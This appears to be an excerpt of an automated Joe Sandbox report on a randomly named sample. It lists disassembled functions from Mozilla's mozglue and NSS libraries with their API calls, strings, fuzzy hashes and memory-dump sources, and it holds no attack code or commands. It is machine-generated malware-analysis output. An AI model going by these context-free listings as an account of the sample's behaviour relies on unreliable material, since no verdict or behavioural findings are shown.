Instruction Fuzzy Hash: 4701E834904508FFCF04CF98C585BEC7BB2AF44308F648089D9056B395D3789A84DB49

Uniqueness

Uniqueness Score: -1.00%

Function 00414FF0 Relevance: 1.3, APIs: 1, Instructions: 12COMMONLIBRARYCODE

Download Yara Rule

APIs

malloc.MSVCRT ref: 00414FF8

Memory Dump Source

Source File: 00000000.00000002.2389728058.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2389728058.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4JgB4mYxvJ.jbxd

Yara matches

Similarity

API ID: malloc
String ID:
API String ID: 2803490479-0
Opcode ID: e14bb29f5c634f52acde74c2c6c6ee0589a433b3a794b1f7692ac0cd2af21e16
Instruction ID: 71a24ea012b18c325b39d17d5ea825459b0100de2daa219f1012b17ed67d7128
Opcode Fuzzy Hash: e14bb29f5c634f52acde74c2c6c6ee0589a433b3a794b1f7692ac0cd2af21e16
Instruction Fuzzy Hash: 1CC012B090410CEB8B00CF98EC0588A7BECDB08200B0041A4FC0DC3300D631AE1087D5

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 6CCB5440 Relevance: 138.8, APIs: 54, Strings: 25, Instructions: 587threadtimeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6CCB5492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CCB54A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CCB54BE
__Init_thread_footer.LIBCMT ref: 6CCB54DB

Part of subcall function 6CCDAB3F: EnterCriticalSection.KERNEL32(6CD2E370,?,?,6CCA3527,6CD2F6CC,?,?,?,?,?,?,?,?,6CCA3284), ref: 6CCDAB49
Part of subcall function 6CCDAB3F: LeaveCriticalSection.KERNEL32(6CD2E370,?,6CCA3527,6CD2F6CC,?,?,?,?,?,?,?,?,6CCA3284,?,?,6CCC56F6), ref: 6CCDAB7C

Part of subcall function 6CCDCBE8: GetCurrentProcess.KERNEL32(?,6CCA31A7), ref: 6CCDCBF1
Part of subcall function 6CCDCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CCA31A7), ref: 6CCDCBFA

GetCurrentThreadId.KERNEL32 ref: 6CCB54F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6CCB5516
GetCurrentThreadId.KERNEL32 ref: 6CCB556A
AcquireSRWLockExclusive.KERNEL32(6CD2F4B8), ref: 6CCB5577
moz_xmalloc.MOZGLUE(00000070), ref: 6CCB5585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6CCB5590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP,?,00000001), ref: 6CCB55E6
ReleaseSRWLockExclusive.KERNEL32(6CD2F4B8), ref: 6CCB5606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CCB5616

Part of subcall function 6CCDAB89: EnterCriticalSection.KERNEL32(6CD2E370,?,?,?,6CCA34DE,6CD2F6CC,?,?,?,?,?,?,?,6CCA3284), ref: 6CCDAB94
Part of subcall function 6CCDAB89: LeaveCriticalSection.KERNEL32(6CD2E370,?,6CCA34DE,6CD2F6CC,?,?,?,?,?,?,?,6CCA3284,?,?,6CCC56F6), ref: 6CCDABD1

GetCurrentThreadId.KERNEL32 ref: 6CCB563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CCB5646
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 6CCB567C
free.MOZGLUE(?), ref: 6CCB56AE

Part of subcall function 6CCC5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CCC5EDB
Part of subcall function 6CCC5E90: memset.VCRUNTIME140(6CD07765,000000E5,55CCCCCC), ref: 6CCC5F27
Part of subcall function 6CCC5E90: LeaveCriticalSection.KERNEL32(?), ref: 6CCC5FB2

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_NO_BASE), ref: 6CCB56E8
GetCurrentThreadId.KERNEL32 ref: 6CCB5707
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001), ref: 6CCB570F
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_ENTRIES), ref: 6CCB5729
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_DURATION), ref: 6CCB574E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_INTERVAL), ref: 6CCB576B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES_BITFIELD), ref: 6CCB5796
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES), ref: 6CCB57B3
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FILTERS), ref: 6CCB57CA

Strings

- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6CCB5D24
MOZ_BASE_PROFILER_HELP, xrefs: 6CCB5511
[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6CCB5C56
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6CCB54A3
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6CCB57C5
MOZ_BASE_PROFILER_LOGGING, xrefs: 6CCB54B9
GeckoMain, xrefs: 6CCB5554, 6CCB55D5
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6CCB548D
- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6CCB5D01
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6CCB5CF9
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6CCB5717
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6CCB57AE
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6CCB56E3
[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6CCB5BBE
[I %d/%d] profiler_init, xrefs: 6CCB564E
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6CCB5724
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6CCB584E
[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6CCB5B38
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6CCB5791
MOZ_PROFILER_STARTUP, xrefs: 6CCB55E1
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6CCB5AC9
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6CCB5766
- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6CCB5D2B
- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6CCB5D1C
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6CCB5749

Memory Dump Source

Source File: 00000000.00000002.2415834143.000000006CCA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCA0000, based on PE: true

Associated: 00000000.00000002.2415614735.000000006CCA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415966362.000000006CD1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415985871.000000006CD2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2416001007.000000006CD32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cca0000_4JgB4mYxvJ.jbxd

Similarity

API ID: getenv$CriticalSection$Current$Thread$EnterLeaveProcess$ExclusiveLock_getpidfree$AcquireCreation@Init_thread_footerReleaseStamp@mozilla@@TerminateTimeV12@exitmemsetmoz_xmalloc
String ID: - MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init
API String ID: 3686969729-1266492768
Opcode ID: c54c0c0efc7da3be85b7de4b9f38a04e4d141e236e4d211bbe5a650b21b83bb5
Instruction ID: 1e8465013997008b1809bf5b902786a5c454bfe52326c496a8d986550a7d9bf1
Opcode Fuzzy Hash: c54c0c0efc7da3be85b7de4b9f38a04e4d141e236e4d211bbe5a650b21b83bb5
Instruction Fuzzy Hash: 392204B0A047409FFB009FB4C45465AB7B9BF8630CF044A29EB46A7B91F779D849CB52

Uniqueness

Uniqueness Score: -1.00%

Function 6CCB6C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727encryptionfileCOMMON

Download Yara Rule

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6CCB6CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6CCB6D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6CCB6D26

Part of subcall function 6CCBCA10: malloc.MOZGLUE(?), ref: 6CCBCA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6CCB6D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6CCB6D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6CCB6D73
free.MOZGLUE(00000000), ref: 6CCB6D80
CertGetNameStringW.CRYPT32 ref: 6CCB6DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6CCB6DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6CCB6DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6CCB6DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6CCB6E10
CryptMsgClose.CRYPT32(00000000), ref: 6CCB6E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6CCB6E34
CreateFileW.KERNEL32 ref: 6CCB6EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6CCB6F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6CCB6F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6CCB709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6CCB7103
free.MOZGLUE(00000000), ref: 6CCB7153
CloseHandle.KERNEL32(?), ref: 6CCB7176
__Init_thread_footer.LIBCMT ref: 6CCB7209
__Init_thread_footer.LIBCMT ref: 6CCB723A
__Init_thread_footer.LIBCMT ref: 6CCB726B
__Init_thread_footer.LIBCMT ref: 6CCB729C
__Init_thread_footer.LIBCMT ref: 6CCB72DC
__Init_thread_footer.LIBCMT ref: 6CCB730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6CCB73C2
VerSetConditionMask.NTDLL ref: 6CCB73F3
VerSetConditionMask.NTDLL ref: 6CCB73FF
VerSetConditionMask.NTDLL ref: 6CCB7406
VerSetConditionMask.NTDLL ref: 6CCB740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6CCB741A
moz_xmalloc.MOZGLUE(?), ref: 6CCB755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CCB7568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6CCB7585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CCB7598
free.MOZGLUE(00000000), ref: 6CCB75AC

Part of subcall function 6CCDAB89: EnterCriticalSection.KERNEL32(6CD2E370,?,?,?,6CCA34DE,6CD2F6CC,?,?,?,?,?,?,?,6CCA3284), ref: 6CCDAB94
Part of subcall function 6CCDAB89: LeaveCriticalSection.KERNEL32(6CD2E370,?,6CCA34DE,6CD2F6CC,?,?,?,?,?,?,?,6CCA3284,?,?,6CCC56F6), ref: 6CCDABD1

Strings

CryptCATAdminReleaseCatalogContext, xrefs: 6CCB72C8
(, xrefs: 6CCB768A
SHA256, xrefs: 6CCB6EC0
wintrust.dll, xrefs: 6CCB72CD

Memory Dump Source

Source File: 00000000.00000002.2415834143.000000006CCA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCA0000, based on PE: true

Associated: 00000000.00000002.2415614735.000000006CCA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415966362.000000006CD1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415985871.000000006CD2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2416001007.000000006CD32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cca0000_4JgB4mYxvJ.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: 34cdb8552136043762d6134d83d2e7645699e5df8a060563aba38020ecd0c141
Instruction ID: 6e1a8a8ad72c6dce4d45693ab67efeb04f6c8cc89e2ec45c6adfb1adbc476694
Opcode Fuzzy Hash: 34cdb8552136043762d6134d83d2e7645699e5df8a060563aba38020ecd0c141
Instruction Fuzzy Hash: 0B52A8B1A002149BFB21DF64CD44BAAB7BCFF45704F104599EA09A7640EB74AF85CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 6CCE0DD0 Relevance: 83.9, APIs: 36, Strings: 10, Instructions: 3368COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CCE0F1F
LeaveCriticalSection.KERNEL32(?), ref: 6CCE0F99
memcpy.VCRUNTIME140(?,?,?), ref: 6CCE0FB7
EnterCriticalSection.KERNEL32(?), ref: 6CCE0FE9
memset.VCRUNTIME140(?,000000E5,00000000), ref: 6CCE1031
LeaveCriticalSection.KERNEL32(?), ref: 6CCE10D0
EnterCriticalSection.KERNEL32(?), ref: 6CCE117D
memset.VCRUNTIME140(?,000000E5,?), ref: 6CCE1C39
EnterCriticalSection.KERNEL32(6CD2E744), ref: 6CCE3391
LeaveCriticalSection.KERNEL32(6CD2E744), ref: 6CCE33CD
LeaveCriticalSection.KERNEL32(?), ref: 6CCE3431
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CCE3437

Strings

MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6CCE37D2
: (malloc) Unsupported character in malloc options: ', xrefs: 6CCE3A02
Compile-time page size does not divide the runtime one., xrefs: 6CCE3946
MOZ_CRASH(), xrefs: 6CCE3950
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6CCE37BD
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6CCE3793
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6CCE37A8
<jemalloc>, xrefs: 6CCE3941, 6CCE39F1
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CCE3559, 6CCE382D, 6CCE3848
MALLOC_OPTIONS, xrefs: 6CCE35FE

Memory Dump Source

Source File: 00000000.00000002.2415834143.000000006CCA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCA0000, based on PE: true

Associated: 00000000.00000002.2415614735.000000006CCA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415966362.000000006CD1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415985871.000000006CD2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2416001007.000000006CD32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cca0000_4JgB4mYxvJ.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset$_errnomemcpy
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3040639385-4173974723
Opcode ID: 764d05bb48dfc397c79ecb88890bc0c45a54d966052f706ffcc91462720f3bed
Instruction ID: e641b8631b3793f6bbfe79b5a0eea4029016bd93d30665e2dcb290210711427d
Opcode Fuzzy Hash: 764d05bb48dfc397c79ecb88890bc0c45a54d966052f706ffcc91462720f3bed
Instruction Fuzzy Hash: 58539E71A057028FD304CF29C550715FBE1BF8A328F29C66DE8699BBA1E775E841CB81

Uniqueness

Uniqueness Score: -1.00%

Function 6CD034A0 Relevance: 61.0, APIs: 33, Strings: 1, Instructions: 1467COMMON

Download Yara Rule

APIs

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CD03527
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CD0355B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CD035BC
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CD035E0
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CD0363A
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CD03693
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CD036CD
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CD03703
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CD0373C
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CD03775
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CD0378F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CD03892
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CD038BB
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CD03902
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CD03939
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CD03970
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CD039EF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CD03A26
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CD03AE5
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CD03E85
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CD03EBA
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CD03EE2

Part of subcall function 6CD06180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6CD061DD
Part of subcall function 6CD06180: memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6CD0622C

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CD040F9
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CD0412F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CD04157

Part of subcall function 6CD06180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6CD06250
Part of subcall function 6CD06180: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CD06292

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CD0441B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CD04448
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CD0484E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CD04863
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CD04878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CD04896
free.MOZGLUE ref: 6CD0489F

Strings

, xrefs: 6CD04CD2

Memory Dump Source

Source File: 00000000.00000002.2415834143.000000006CCA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCA0000, based on PE: true

Associated: 00000000.00000002.2415614735.000000006CCA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415966362.000000006CD1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415985871.000000006CD2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2416001007.000000006CD32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cca0000_4JgB4mYxvJ.jbxd

Similarity

API ID: floor$free$malloc$memcpy
String ID:
API String ID: 3842999660-3916222277
Opcode ID: 8b84c542def289d5c2a882e088d9bd456021826d16801947c6834c9a4f37b207
Instruction ID: 2dafb12bbe374a6a36f683d45c30aad3e6346a2d9acf8887cf75faad1659e9dc
Opcode Fuzzy Hash: 8b84c542def289d5c2a882e088d9bd456021826d16801947c6834c9a4f37b207
Instruction Fuzzy Hash: ACF23A74A08B80CFC725CF28C18469AFBF1BFD9354F118A5ED99997721DB319886CB42

Uniqueness

Uniqueness Score: -1.00%

Function 6CCB64C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6CCB64DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6CCB64F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6CCB6505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6CCB6518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6CCB652B
memcpy.VCRUNTIME140(?,?,?), ref: 6CCB671C
GetCurrentProcess.KERNEL32 ref: 6CCB6724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6CCB672F
GetCurrentProcess.KERNEL32 ref: 6CCB6759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6CCB6764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6CCB6A80
GetSystemInfo.KERNEL32(?), ref: 6CCB6ABE
__Init_thread_footer.LIBCMT ref: 6CCB6AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CCB6AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CCB6AF7

Strings

nvdxgiwrap.dll, xrefs: 6CCB6513
detoured.dll, xrefs: 6CCB64DA
_etoured.dll, xrefs: 6CCB64ED
user32.dll, xrefs: 6CCB6526
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6CCB6798
nvd3d9wrap.dll, xrefs: 6CCB6500

Memory Dump Source

Source File: 00000000.00000002.2415834143.000000006CCA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCA0000, based on PE: true

Associated: 00000000.00000002.2415614735.000000006CCA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415966362.000000006CD1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415985871.000000006CD2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2416001007.000000006CD32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cca0000_4JgB4mYxvJ.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: 743fcb2087def22655439454123414d02efc2a078ef255a7252899a3f915aeb9
Instruction ID: 3806dbf112ed22eec51b5b07c7d68e429969106514adc52b06ce6d493769c572
Opcode Fuzzy Hash: 743fcb2087def22655439454123414d02efc2a078ef255a7252899a3f915aeb9
Instruction Fuzzy Hash: 54F1F5709056199FEF24CFA5CD48B9AB7B4EF45318F144199D909F3A81E731AE84CF90

Uniqueness

Uniqueness Score: -1.00%

Function 6CD0C4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CD0C5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CD0C6FB
memset.VCRUNTIME140(?,00000000,00004008), ref: 6CD0C74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6CD0C7DE
memset.VCRUNTIME140(?,00000000,00004014), ref: 6CD0C9D5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CD0CC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6CD0CD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CD0DB40
memcpy.VCRUNTIME140(?,?,?), ref: 6CD0DB62
memcpy.VCRUNTIME140(?,?,?), ref: 6CD0DB99
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CD0DD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6CD0DE95
memcpy.VCRUNTIME140(?,?,?), ref: 6CD0E360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CD0E432
memcpy.VCRUNTIME140(?,?,?), ref: 6CD0E472

Memory Dump Source

Source File: 00000000.00000002.2415834143.000000006CCA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCA0000, based on PE: true

Associated: 00000000.00000002.2415614735.000000006CCA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415966362.000000006CD1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415985871.000000006CD2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2416001007.000000006CD32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cca0000_4JgB4mYxvJ.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: 97e985357471369056bee9348581c67933942b7ed752cee510018df55618f0c8
Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction Fuzzy Hash: 91339F71E0421ACFCB14CF9CC8806ADBBF2FF89310F19426AD955AB765D731A945CB90

Uniqueness

Uniqueness Score: -1.00%

Function 6CDCECD0 Relevance: 33.8, APIs: 7, Strings: 12, Instructions: 539COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6CDCED38

Part of subcall function 6CD64F60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CD64FC4

sqlite3_mprintf.NSS3(snippet), ref: 6CDCEF3C
sqlite3_mprintf.NSS3(offsets), ref: 6CDCEFE4

Part of subcall function 6CE8DFC0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,00000003,?,6CD65001,?,00000003,00000000), ref: 6CE8DFD7

sqlite3_mprintf.NSS3(matchinfo), ref: 6CDCF087
sqlite3_mprintf.NSS3(matchinfo), ref: 6CDCF129
sqlite3_mprintf.NSS3(optimize), ref: 6CDCF1D1
sqlite3_free.NSS3(?), ref: 6CDCF368

Strings

fts4aux, xrefs: 6CDCECF9
fts3tokenize, xrefs: 6CDCF30F
matchinfo, xrefs: 6CDCF04F, 6CDCF082, 6CDCF0C2, 6CDCF0F2, 6CDCF124, 6CDCF169
